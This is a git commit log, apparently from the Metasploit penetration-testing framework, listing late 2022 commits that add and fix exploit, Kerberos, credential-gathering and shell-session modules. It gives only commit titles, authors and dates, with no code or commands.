Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-15 14:50:10 +11:00
Ashley Donaldson 57152fdd5f Use framework's thread mechanism for background keepalive worker 2022-12-15 14:44:57 +11:00
Ashley Donaldson 89dd358d2d Added unit test to check that HEAD responses don't hang 2022-12-15 14:34:01 +11:00
Jack Heysel f015d1425a Added update to common.h 2022-12-14 20:39:31 -05:00
Ashley Donaldson bf307e552a Resolves #14144 - expand ~ for hosts and notes commands 2022-12-15 12:31:25 +11:00
Ashley Donaldson 891ab225cc Ignore Content-Length header for the purpose of HEAD requests 2022-12-15 11:22:48 +11:00
Ashley Donaldson 5716fd0f4d Revert to use of set /p, but with dummy variable so that %errorlevel% is set to 0 2022-12-15 09:05:16 +11:00
Metasploit e19d1b9231 automatic module_metadata_base.json update 2022-12-14 13:39:20 -06:00
Grant Willcox d15ed9d2bd Land #17370, force mixin to utilize ruby_smb 2022-12-14 13:13:04 -06:00
dwelch-r7 243b9da3e6 Land #17344, Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 15:03:15 +00:00
adfoster-r7 2783e92203 Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 13:40:39 +00:00
adfoster-r7 abcf4606a8 Land #17360, document the kerberos forge_ticket DEBUG_TICKET action 2022-12-14 13:37:34 +00:00
cgranleese-r7 7face44638 Land #17379, Merge 6.2.31 into kerberos feature branch 2022-12-14 13:34:36 +00:00
Metasploit 0032ba9e50 automatic module_metadata_base.json update 2022-12-14 07:08:11 -06:00
Christophe De La Fuente 2a28af208d Land #16992, Syncovery For Linux - Auth. RCE (CVE-2022-36534) 2022-12-14 13:43:00 +01:00
Metasploit b76ed0f0ba automatic module_metadata_base.json update 2022-12-14 06:04:56 -06:00
Christophe De La Fuente 9582411554 Land #16991, Syncovery For Linux - Insecure Session Token Generation (CVE-2022-36536) 2022-12-14 11:30:47 +01:00
Ashley Donaldson 5fd6103a70 Use boolean output of write_file for cmd_upload
Also fixed powershell upload, which failed at around 20000 bytes per command.
I believe this is related to powerfun, which seems to truncate to 20000 bytes.
2022-12-14 20:46:31 +11:00
whoot 0f1e228f50 finalization 2022-12-14 08:59:53 +01:00
whoot 1f1b04e009 finalization 2022-12-14 08:38:20 +01:00
Jan Rude 0ae824e169 Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:55 +01:00
Jan Rude e16e689308 Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:45 +01:00
Jan Rude d6ba30adcf Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:35 +01:00
Jan Rude 911431c63b Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:24 +01:00
Ashley Donaldson 6ac1c305cc Appropriate return values for windows (cmd and powershell) shells 2022-12-14 17:00:16 +11:00
Ashley Donaldson b38af39660 Unix shell knows whether or not it has succeeded in writing or appending a file 2022-12-14 12:48:46 +11:00
adfoster-r7 28bd37b0a7 Update rasn1 dependency for pkinit 2022-12-14 00:32:26 +00:00
Ashley Donaldson 2f6c94b872 Update User Agent strings December 2022 2022-12-14 11:03:25 +11:00
Grant Willcox f70f48c233 Land #17378, Bump the version of msf-payload to 2.0.105 2022-12-13 16:58:52 -06:00
Grant Willcox a63a98eea4 Bump the version of msf-payload to 2.0.105 2022-12-13 14:29:39 -06:00
adfoster-r7 a9ccfe31b7 Merge branch 'upstream-master' into merge-msf-6.2.31-into-kerberos-feature-branch 2022-12-13 19:40:39 +00:00
Metasploit a653dbd51a automatic module_metadata_base.json update 2022-12-13 12:16:12 -06:00
Christophe De La Fuente d6a5590c06 Land #17265, Add Exploit for CVE-2020-25736 2022-12-13 18:49:56 +01:00
cgranleese-r7 9b1513fca9 Land #17376, Extract db command helpers to standalone module 2022-12-13 17:46:53 +00:00
adfoster-r7 f6ed9ef12d Extract db command helpers to standalone module 2022-12-13 17:01:49 +00:00
Shelby Pace 0596620de7 Update modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 09:49:59 -06:00
Jan Rude 03a640fcec Update modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:06:42 +01:00
Jan Rude f158cfaadd Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:05:56 +01:00
Jan Rude c8e301224b Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:05:45 +01:00
Jan Rude 53cde6d2ef Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:04:45 +01:00
dwelch-r7 fd555b218f Land #17373, Add ticket flags when outputting krb5 ccache 2022-12-13 12:46:25 +00:00
adfoster-r7 7625d4b08b Add ticket flags when outputting krb5 ccache 2022-12-13 12:19:16 +00:00
Grant Willcox c7ed5f4ba2 Land #17368, Fix slow msfvenom payload generation for large payloads when outputting as hex format 2022-12-13 02:14:47 -06:00
Grant Willcox 5aaf159a50 Land #17364, Bump docs ruby version to 3.0.5 2022-12-13 01:48:00 -06:00
Jack Heysel 2fa7e7b2d5 Lenovo Diagnostics Driver Privilege Escaltion (CVE-2022-3699) 2022-12-12 21:53:53 -05:00
Metasploit 69f47aa6a7 automatic module_metadata_base.json update 2022-12-12 17:09:12 -06:00
Spencer McIntyre d09aef7dc5 Land #17350, Remove unnecesary sleep
Remove unnecesary sleep in several bypassuac modules
2022-12-12 17:45:10 -05:00
space-r7 6885e576ed add note about uninstalling the helper tool 2022-12-12 16:35:44 -06:00
Jeffrey Martin 0eec36200c force mixin to utilize ruby_smb
When refactored recently the new code expects a `RubySMB` object
this ensures the client returned meets that expectation.
2022-12-12 16:14:09 -06:00
space-r7 cf9e54909c use 2021 helper name in objective-c code too 2022-12-12 15:55:36 -06:00
space-r7 13a557013c support 2021 version of software
specifically, the exploit will now search
for com.acronis.helpertool in addtion to the
2020 helper tool name. This also updates the
check() method to return CheckCode::Detected
for when we find the vulnerable service but
can't detect the build number
2022-12-12 15:53:35 -06:00
Spencer McIntyre 5a66666b4d Fix check methods by using #present? 2022-12-12 16:53:34 -05:00
adfoster-r7 8013be1d07 Fix slow msfvenom payload generation for large payloads 2022-12-12 21:39:21 +00:00
Metasploit f534168636 automatic module_metadata_base.json update 2022-12-12 13:46:17 -06:00
Spencer McIntyre 024fc87b4c Land #17272, Add F5 MCP post module
Add F5 MCP post module
2022-12-12 14:20:31 -05:00
Ron Bowes 5b1e37bf66 Merge pull request #2 from smcintyre-r7/pr/collab/17272
Store service credentials in the database
2022-12-12 10:10:03 -08:00
dwelch-r7 c9aab1201c Land #17363, Add enckrbkey database persistence support 2022-12-12 17:44:47 +00:00
Grant Willcox 2cb66a5c8b Land #17355, Update the creds command to allow viewing ssh key contents 2022-12-12 11:29:47 -06:00
adfoster-r7 1855306e14 Bump docs ruby version to 3.0.5 2022-12-12 17:28:29 +00:00
adfoster-r7 431bfdfc52 Add enckrbkey database persistence support 2022-12-12 17:19:17 +00:00
Spencer McIntyre 34451940c7 Fix uploading from shell sessions 2022-12-12 12:02:33 -05:00
Grant Willcox c5439b85ef Land #17361, unlock concurrent-ruby 2022-12-12 10:36:48 -06:00
Grant Willcox 8a68111198 Land #17357, Update docs site to support mermaid 2022-12-12 10:04:07 -06:00
npm-cesium137-io d04111ad6f solarwinds_orion_dump markdown update
Nuked the last embarrassing typo in the module description.

Updated the documentation to include detail on sqlcmd / CSV export
process when manually exporting the data.
2022-12-12 10:54:41 -05:00
Spencer McIntyre 59d4f9b7e9 Fix downloading from shells to a directory
Prior to this change if the destination argument issued to a shell
session's internal `download` command was a directory, the command would
crash and the shell would be lost.
2022-12-12 10:42:11 -05:00
Spencer McIntyre a9cdb77a72 Use consistent casing and fix typos 2022-12-12 10:30:50 -05:00
Jeffrey Martin 60302e1f02 unlock concurrent-ruby
Version was locked due to yanked ver 1.1.0, this should have been unlocked long ago.
2022-12-12 08:58:22 -06:00
Spencer McIntyre a80db73bab Land #17325, add impersonation for get_ticket
Enable the `get_ticket` module to impersonate a user with S4U2self and S4U2proxy
2022-12-12 09:10:37 -05:00
Dean Welch 4aaf540364 Add modules docs for TICKET_DEBUG 2022-12-12 13:39:09 +00:00
Christophe De La Fuente 86ec66c43d Add decoding support
- for Rex::Proto::Kerberos::Model::Checksum
- for Rex::Proto::Kerberos::Model::PreAuthForUser
- add specs
2022-12-12 12:56:30 +01:00
adfoster-r7 fd3fb5f3a4 Update docs site to support mermaid 2022-12-11 01:22:30 +00:00
npm-cesium137-io 6eaa0bfab2 Add veeam_credential_dump post module
Post module for Veeam Backup and Replication / Veeam ONE Monitor Server
credential extract
2022-12-10 16:21:59 -05:00
adfoster-r7 2ea880c799 Show ssh key with verbose creds command 2022-12-10 00:08:54 +00:00
h00die fc10a5c876 Merge pull request #21 from bwatters-r7/land-17258
Added purpose to License file for SharpHound
2022-12-09 17:38:31 -05:00
bwatters cc3d5739ef Added purpose to License file for SharpHound 2022-12-09 15:31:27 -06:00
Grant Willcox c84b2a67d7 Land #17345, Update report api to return nil when no active db 2022-12-09 14:02:28 -06:00
npm-cesium137-io 8075654f10 Revise solarwinds_orion_dump MKII
Fixed humiliating typos in the markdown doc.

Updated the Author section of the module per guidelines.

Changed credential type for AES key loot storage.

Updated database config code to include the case where the SQL password
is not encrypted (needs testing).

Additional tweaks and fixes.
2022-12-09 14:47:18 -05:00
Metasploit 90828ac2bb automatic module_metadata_base.json update 2022-12-09 12:42:23 -06:00
Spencer McIntyre d9b217e50b Land #17351, Fix bug in s4u_persistence module
Fix buggy default in s4u_persistence module
2022-12-09 13:16:53 -05:00
Grant Willcox b65b0a7bc5 Land #17352, Fixes crash in meterp when file_version asks for a file that doesn't exist 2022-12-09 12:10:29 -06:00
Grant Willcox e29d9effba Land #17346, Update rspec thread counting logic 2022-12-09 10:32:55 -06:00
Jeffrey Martin 32a5c350cb Land 17349, Update Ruby version to 3.0.5 2022-12-09 08:39:03 -06:00
whoot 771b7c58f9 change brute-forcer 2022-12-09 12:33:13 +01:00
Jan Rude 005d43f7d1 Merge branch 'rapid7:master' into syncovery_craftable_token 2022-12-09 09:34:42 +01:00
whoot c1d090334c apply suggestions 2022-12-09 09:31:20 +01:00
Ashley Donaldson 99e576d023 Fixes crash in meterp when file_version asks for a file that doesn't exist 2022-12-09 11:55:29 +11:00
Ashley Donaldson 8d097e0fd0 Fixes bug in s4u_persistence module 2022-12-09 11:24:16 +11:00
Ashley Donaldson c54109586c Remove unnecesary sleep in several bypassuac modules 2022-12-09 11:09:19 +11:00
Grant Willcox f6beef9b23 Update Ruby version in Dockerfile 2022-12-08 14:59:58 -06:00
Grant Willcox 6126598d16 Update Ruby version to 3.0.5 from 3.0.2 to fix security issues and compatibility 2022-12-08 13:58:46 -06:00
Metasploit 9b62242974 automatic module_metadata_base.json update 2022-12-08 13:52:01 -06:00
Grant Willcox 70b9b94c23 Land #17255, Add executable path for command payloads 2022-12-08 13:25:21 -06:00
JustAnda7 293a203a03 Added path option to cmd payloads 2022-12-08 12:19:31 -06:00
Metasploit 06b72a0b1c Bump version of framework to 6.2.31 2022-12-08 12:12:22 -06:00
Metasploit 28cf7ea55c automatic module_metadata_base.json update 2022-12-08 10:13:08 -06:00
Spencer McIntyre dd3decb436 Land #17342, Use LDAP_SERVER_SD_FLAGS_OID flag
Use LDAP_SERVER_SD_FLAGS_OID flag to prevent retrieving SACL as a non-admin user
2022-12-08 10:47:55 -05:00
Spencer McIntyre 2fc8b0a7a6 Add GitHub refereces to the patch details 2022-12-08 10:47:44 -05:00
adfoster-r7 46f7fc9288 Land #17313, PAC Bindata Model + print ccache contents 2022-12-08 14:38:38 +00:00
Dean Welch fc3bb585be Move TypeSerialization1 to it's own file 2022-12-08 13:20:41 +00:00
Dean Welch 1e1580e346 Move TypeSerialization1 to it's own file 2022-12-08 13:11:47 +00:00
adfoster-r7 aba9cba9dd Update rspec thread counting logic 2022-12-08 00:28:00 +00:00
adfoster-r7 8f22d24577 Update report api to return nil when no active db 2022-12-07 23:09:59 +00:00
Grant Willcox e7b20ad155 Add in monkey patch to the search method of Net::LDAP::Connection to allow us to use controls when search whilst we await an upstream patch in Net::LDAP 2022-12-07 15:17:52 -06:00
Jeffrey Martin 115946cd06 Land #17339, Weekly dependency updates for Gemfile.lock 2022-12-07 15:13:39 -06:00
Grant Willcox 77bda68932 Add in more constants for the SCAL flags and use them to make the code easier to read 2022-12-07 10:48:07 -06:00
npm-cesium137-io 2f3fd6c917 Revise solarwinds_orion_dump
Made modifications to documentation to add further detail for each
action.

Significant refactor of error handling, now with (hopefully) proper use
of exceptions.

Various suggested code improvements and optimization.

Fixed some redundant and buggy code.
2022-12-07 07:55:43 -05:00
Grant Willcox e7d72e0ecf Allow multiple controls to be specified 2022-12-06 23:21:48 -06:00
Grant Willcox fd8bdf4daf Make sure we use the LDAP_SERVER_SD_FLAGS_OID flag and set it to 7 when retrieving entries so that we don't retrieve the SACL, which cannot be retrieved by nonadmin users. 2022-12-06 22:54:03 -06:00
cn-kali-team c81029a165 fix 2022-12-07 12:32:41 +08:00
cn-kali-team 7720119948 fix 2022-12-07 12:32:14 +08:00
三米前有蕉皮 bb3e5df6f5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:23:50 +08:00
三米前有蕉皮 9c94ce09da Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:20:38 +08:00
space-r7 9c7355388c add attackerkb link 2022-12-06 11:19:05 -06:00
Tod Beardsley 97a9fb6650 Update docs for Acronis module
Note that uninstalling the module doesn't necessarily uninstall the vulnerable service, so call that out to people who are testing this module so they have a chance to do more thorough cleanup after testing.
2022-12-06 11:08:31 -06:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Metasploit 8fbb4d2fde automatic module_metadata_base.json update 2022-12-06 09:03:45 -06:00
Christophe De La Fuente e7e2849f6d Land #17183, Zimbra fixes 2022-12-06 15:38:37 +01:00
Christophe De La Fuente ddaf5a3f0d Remove unecessary return statement 2022-12-06 15:07:28 +01:00
Metasploit ef31ab861f automatic module_metadata_base.json update 2022-12-06 07:27:30 -06:00
Christophe De La Fuente aaef7726db Land #17330, Fix enumerating emails via ProxyShell 2022-12-06 14:02:53 +01:00
Dean Welch d239e9b007 Don't autoload krb5Pac 2022-12-06 13:01:47 +00:00
Dean Welch 1e2ada3cce Add options validation depending on action in forge_ticket.rb 2022-12-06 12:55:42 +00:00
cn-kali-team 9b55f32474 MinIO_Client 2022-12-06 20:04:10 +08:00
Metasploit 009fd0deb5 automatic module_metadata_base.json update 2022-12-05 15:30:44 -06:00
Grant Willcox d48319a867 Land #17242, Add Gather Module for WP BookingPress Plugin unauth SQLi (CVE-2022-0739) 2022-12-05 15:04:31 -06:00
Grant Willcox 89009fa66e Bump dependency versions 2022-12-05 14:48:02 -06:00
Grant Willcox cb68c255bb Fix up issues from review 2022-12-05 14:17:43 -06:00
Redouane NIBOUCHA 4b008d6ea8 revert the identify_hash line 2022-12-05 14:17:39 -06:00
Redouane NIBOUCHA 41edc92d5d Update wp_bookingpress_category_services_sqli to use the SQLi library 2022-12-05 14:17:31 -06:00
Grant Willcox 1fec75621c Fix up documentation from review 2022-12-05 14:04:22 -06:00
Jack Heysel f29b4fad75 Add Gather Module for WP BookingPress Plugin SQLi (CVE-2022-0739) 2022-12-05 14:04:03 -06:00
Metasploit e08b426537 automatic module_metadata_base.json update 2022-12-05 13:19:21 -06:00
bwatters 37540572e0 Land #17214, add database functionality to vcenter post module
Merge branch 'land-17214' into upstream-master
2022-12-05 12:50:14 -06:00
Metasploit 2e4be42f57 automatic module_metadata_base.json update 2022-12-05 09:55:47 -06:00
bwatters 54cd055276 Land #17286, CVE-2021-22015 vCenter priv esc
Merge branch 'land-17286' into upstream-master
2022-12-05 09:31:01 -06:00
Metasploit 085456eeaf automatic module_metadata_base.json update 2022-12-05 08:07:19 -06:00
Dean Welch 405271a52f Add pac BinData Model 2022-12-05 14:03:21 +00:00
Christophe De La Fuente 6e7d4edf02 Land #16990, Syncovery for Linux - Login brute-force utility 2022-12-05 14:39:29 +01:00
h00die 373a97b099 add shaphound to license, sort license by file names 2022-12-05 08:33:27 -05:00
cgranleese-r7 8e9e8468f2 Land #17338, Lint modules 2022-12-05 13:17:40 +00:00
adfoster-r7 7a46cff0a1 Land #17305, Adds support to RPC for automatically choosing module payload defaults 2022-12-05 12:59:21 +00:00
Metasploit dc604f1fcf automatic module_metadata_base.json update 2022-12-05 06:31:39 -06:00
cgranleese-r7 4e539df3c3 Adds support to find default payloads 2022-12-05 11:52:11 +00:00
adfoster-r7 0d3c1dc122 Land #17333, Fix typos: Replace 'the the' with 'the' 2022-12-05 11:46:27 +00:00
adfoster-r7 a4aff6537d Land #17332, enum_proxy - Cleanup and support non-Meterpreter sessions 2022-12-05 11:43:55 +00:00
adfoster-r7 14d05c9c6c Lint modules 2022-12-05 10:41:31 +00:00
cn-kali-team 907612b41d Dbeaver 2022-12-05 14:54:19 +08:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
bcoles c1ff9337c8 dnn_cookie_deserialization_rce: Remove empty 'Payload' Hash key 2022-12-04 17:50:24 +11:00
bcoles 431804ef15 Fix typos: Replace 'the the' with 'the' 2022-12-04 17:41:24 +11:00
bcoles d90dee8235 enum_proxy: Cleanup and support non-Meterpreter sessions 2022-12-04 15:10:47 +11:00
RadioLogic a3c82246a7 Added archer c7 traversal exploit 2022-12-03 20:03:11 -05:00
Spencer McIntyre 96da805014 Fix enumerating emails via ProxyShell
The ResolveNames endpoint used to gather emails addresses for targeting
only returns 100 at a time. This updates the module to check if the
search result contains all entries and when it does, it recurses into
itself with a refined search prefix. All results are returned to match
the original functionality instead of enumerating and halting once one
that's suitable for exploitation has been found.
2022-12-02 15:58:50 -05:00
whoot 04e5aa3033 apply suggestions 2022-12-02 16:05:01 +01:00
Christophe De La Fuente c6f8bae1ab Fix from code review and updates the KrbUseCachedCredentials logic 2022-12-02 15:28:08 +01:00
whoot b32ec581d8 apply suggestions 2022-12-02 10:33:25 +01:00
Metasploit 364fb85e1d automatic module_metadata_base.json update 2022-12-01 16:30:42 -06:00
Jack Heysel 271588bde9 Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-12-01 17:06:48 -05:00
Jack Heysel 04dc8e8455 Land #17310, update checkvm post module
Add notes and add powershell to supported SessionTypes
2022-12-01 17:05:09 -05:00
Metasploit a649c5b9d1 automatic module_metadata_base.json update 2022-12-01 15:54:53 -06:00
h00die 7ec7cdfb97 fix vcenter spec error 2022-12-01 16:43:58 -05:00
adfoster-r7 4207449382 Land #17323, fix enlightenment check method 2022-12-01 20:26:16 +00:00
Christophe De La Fuente 69e08094cd Update documentation 2022-12-01 21:23:25 +01:00
h00die 867059efe5 add super to cleanup command 2022-12-01 14:55:43 -05:00
Christophe De La Fuente cc61a26668 Add S4U2Self and S4U2Proxy support to impersonate a user 2022-12-01 20:42:13 +01:00
h00die 62b484fdc7 blank over empty 2022-12-01 14:34:09 -05:00
Metasploit fbc842693f Bump version of framework to 6.2.30 2022-12-01 12:10:26 -06:00
Metasploit 03bb062c2e automatic module_metadata_base.json update 2022-12-01 09:50:22 -06:00
bwatters dcff4d37b6 Land #17163, Pfsense PfBlockerNG RCE module check method improvement
Merge branch 'land-17163' into upstream-master
2022-12-01 09:25:18 -06:00
Metasploit b9c18de4fe automatic module_metadata_base.json update 2022-11-30 16:55:15 -06:00
adfoster-r7 13ab155545 Land #17322, fix OpoenOffice description typo 2022-11-30 22:31:53 +00:00
h00die 039b611fae fix enlightenment check method 2022-11-30 17:06:50 -05:00
Maik Ro 330cb2944b fix typo
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) -> OpoenOffice changed to OpenOffice
2022-11-30 22:10:18 +01:00
Metasploit 07a91df7a1 automatic module_metadata_base.json update 2022-11-30 11:43:21 -06:00
Christophe De La Fuente d3057f15b2 Land #17275, Add Exploit For CVE-2022-41082 (ProxyNotShell) 2022-11-30 18:16:19 +01:00
Spencer McIntyre d491c10d22 Store service credentials in the database 2022-11-30 11:59:10 -05:00
Ashley Donaldson 2d397d37db Removed warning that I think was actually just a bug - now fixed 2022-11-30 13:14:19 +11:00
Ashley Donaldson 0323d45737 More correct approach to encoding for command line 2022-11-30 11:54:42 +11:00
Ashley Donaldson 5fce80ed1d Added comments to most functions 2022-11-30 11:53:57 +11:00
Ashley Donaldson 3a93fcb404 Rubocop'd 2022-11-30 11:32:23 +11:00
Ashley Donaldson 97aef31180 Removed vestigial code while we're at it 2022-11-30 11:31:27 +11:00
Ashley Donaldson 1231eefe55 Fixed WQL module while I'm at it 2022-11-30 10:26:19 +11:00
Ashley Donaldson 0d68ec5d1b Fix formatting of winrm_script_exec 2022-11-30 07:48:30 +11:00
Ashley Donaldson 6a040e2ee5 #11456 Winrm Script Exec works again 2022-11-30 07:39:38 +11:00
Spencer McIntyre 013679d475 Land #17311, Add Kerberos pkinit error codes 2022-11-29 13:19:03 -05:00
Spencer McIntyre 2daf11d521 Land #17309, Fix Kerberos get ticket module
Fix crash in kerberos get ticket module
2022-11-29 13:17:16 -05:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
adfoster-r7 750192afa4 Add pkinit error codes 2022-11-29 10:36:10 +00:00
bcoles 60180a4442 checkvm: Add notes and add powershell to supported SessionTypes 2022-11-29 21:28:15 +11:00
adfoster-r7 34d1b5b37e Fix crash in kerberos get ticket module 2022-11-29 10:17:21 +00:00
Metasploit 35bbfc8af4 automatic module_metadata_base.json update 2022-11-28 15:47:01 -06:00
Spencer McIntyre 8ea8e2410d Land #17299, Fixes #17227
Fixes #17227 - polkit_dbus_auth_bypass module when run from a command…
2022-11-28 16:22:52 -05:00
Metasploit 8a66a359a6 automatic module_metadata_base.json update 2022-11-28 15:16:21 -06:00
adfoster-r7 a12090c566 Land #17308, Fix the DH key construction for OpenSSL3 2022-11-28 21:03:52 +00:00
Jack Heysel 5d3cfa69b8 Land #17210, add ParseError rescue to snmp modules
snmp_enum, snmp_enumshares and snmp_enumusers now rescue
SNMP ParseErrors
2022-11-28 15:37:02 -05:00
bwatters 3462dc6bf4 Land #17087, remote control collection rce
Merge branch 'land-17087' into upstream-master
2022-11-28 14:29:52 -06:00
Spencer McIntyre cd828a82c8 Fix the DH key construction for OpenSSL3 2022-11-28 14:54:10 -05:00
Spencer McIntyre abe0549db6 Land #17226, Module to request TGT/TGS tickets
Module to request TGT/TGS Kerberos tickets from the KDC
2022-11-28 11:59:17 -05:00
Spencer McIntyre 264d45e04a Appease rubocop 2022-11-28 10:16:55 -05:00
Spencer McIntyre f24df8a051 Change an exception class and drop DOMAIN passing 2022-11-28 10:06:14 -05:00
Spencer McIntyre 009c6c5350 Add the MaxBackendRetries datastore option 2022-11-28 09:45:04 -05:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
Metasploit c49dd0b6cd automatic module_metadata_base.json update 2022-11-27 14:27:39 -06:00
adfoster-r7 de75f0ecbe Land #17304, added target uri in to "Authorization not requested" error message 2022-11-27 20:04:00 +00:00
omer citak 9aa1a84b3a added target uri in to "Authorization not requested" error message 2022-11-27 15:35:34 +03:00
RadioLogic 6d676e9ac5 Added vsftpd dos module 2022-11-26 16:00:01 -05:00
Ashley Donaldson 638a1c8f78 Prevent double-delimiter situations in general 2022-11-25 15:32:55 +11:00
Ashley Donaldson 25a0d0ff0e Fixes #17227 - polkit_dbus_auth_bypass module when run from a command shell 2022-11-25 15:13:57 +11:00
adfoster-r7 c218063a1a Land #17280, Weekly dependency updates for Gemfile.lock 2022-11-24 23:11:49 +00:00
ErikWynter 78dfaa12ef add opentsdb_yrange_cmd_injection module and docs 2022-11-24 21:37:24 +02:00
Metasploit ed954eec0c Bump version of framework to 6.2.29 2022-11-24 12:09:06 -06:00
adfoster-r7 0aa0884e26 Land #17296, add warning about external links 2022-11-24 10:30:44 +00:00
Metasploit c9ba07e3a7 automatic module_metadata_base.json update 2022-11-23 17:20:29 -06:00
Spencer McIntyre 6350daf2d8 Land #17273, F5 exploit module CVE-2022-41800
F5 exploit module CVE-2022-41800 (authenticated RCE in RPM code)
2022-11-23 17:57:18 -05:00
Ron Bowes b7cf112d42 Fix an issue where the session handler would close too early on Zimbra modules 2022-11-23 13:09:47 -08:00
Ron Bowes ffbf8b303a Change a 'return 0' to 'fail_with', per Christophe's request 2022-11-23 12:51:51 -08:00
Ron Bowes 28a68ede8c Merge branch 'master' into zimbra-fixes 2022-11-23 12:50:56 -08:00
Ron Bowes e981dde15f Move the mcp-objects out of the class and into a data/ file (per Jeffrey's request) 2022-11-23 12:49:00 -08:00
Spencer McIntyre 3805a79079 Add support for Exchange Data Access Group (DAG)
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
2022-11-23 15:37:58 -05:00
Jeffrey Martin 453cfc5939 spelling change per review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-11-23 13:26:19 -06:00
Ron Bowes aa3d8be77c Remove Targets 2022-11-23 11:11:35 -08:00
Ron Bowes 4fd22226fe Combine into one module with options to turn features on/off 2022-11-23 11:10:34 -08:00
Ron Bowes cbb50ed902 Remove non-functioning Arch'es 2022-11-23 10:42:07 -08:00
Jeffrey Martin cb8e023734 add warning about external links
Links to external resources not controlled by the project maintainers
are subject to bitrot and malicious take over. Warnings seem appropriate.
2022-11-23 12:08:05 -06:00
Spencer McIntyre 3f58bfe11e Check that the target is Exchange Server 2019 2022-11-23 10:47:10 -05:00
Spencer McIntyre 45391b1714 Land #17279, ducky-script format for msfvenom
ducky-script format for msfvenom (flipper zero compatible)
2022-11-23 09:05:57 -05:00
Jiashuo Liang d32df1d3dc Fix linux reverse_tcp_x64 rdx register value 2022-11-23 19:36:37 +08:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
h00die b866917ee1 review 2022-11-22 16:57:01 -05:00
Spencer McIntyre 2265370c5f Land #17288, Add #bit_names to MsDtypAccessMask
Support for Windows Access mask to MsDtypAccessMask
2022-11-22 09:01:16 -05:00
Metasploit 0af1f95f5a automatic module_metadata_base.json update 2022-11-22 06:52:15 -06:00
adfoster-r7 6446c1425b Land #17283, enum_psk: Cleanup 2022-11-22 12:28:55 +00:00
adfoster-r7 6c76fd7beb Land #17284, modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-22 11:55:47 +00:00
adfoster-r7 390e58958c Land #17285, tor_hiddenservices - check locate command exists
: Check locate command exists
2022-11-22 11:42:50 +00:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
JustAnda7 28157b677b Support for Access Mask in MsDtypAccess 2022-11-22 04:50:54 -05:00
h00die 637ad5f809 make ducky more psh friendly 2022-11-21 17:55:48 -05:00
h00die 7227bec259 set autocheck false 2022-11-21 15:53:37 -05:00
bwatters 8c9e2c9fc7 Add check method, update hosting IP/port 2022-11-21 15:53:37 -05:00
h00die d141efcbfe screen effects 2022-11-21 15:53:37 -05:00
h00die 181b8e4eea review comments 2022-11-21 15:53:37 -05:00
h00die d4536b24a6 remote control collection rce 2022-11-21 15:53:37 -05:00
Spencer McIntyre de8a396b3a Land #17277, Fix python reverse http stager crash 2022-11-21 12:41:25 -05:00
Spencer McIntyre ed99f2f67f Bypass EEMS M1 2022-11-21 11:13:16 -05:00
h00die 6877304bac exploit for cve-2021-22015 vcenter priv esc 2022-11-20 11:29:49 -05:00
bcoles 651dd68439 tor_hiddenservices: Check locate command exists 2022-11-21 01:07:50 +11:00
bcoles 2dbd2043ec modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-21 00:46:44 +11:00
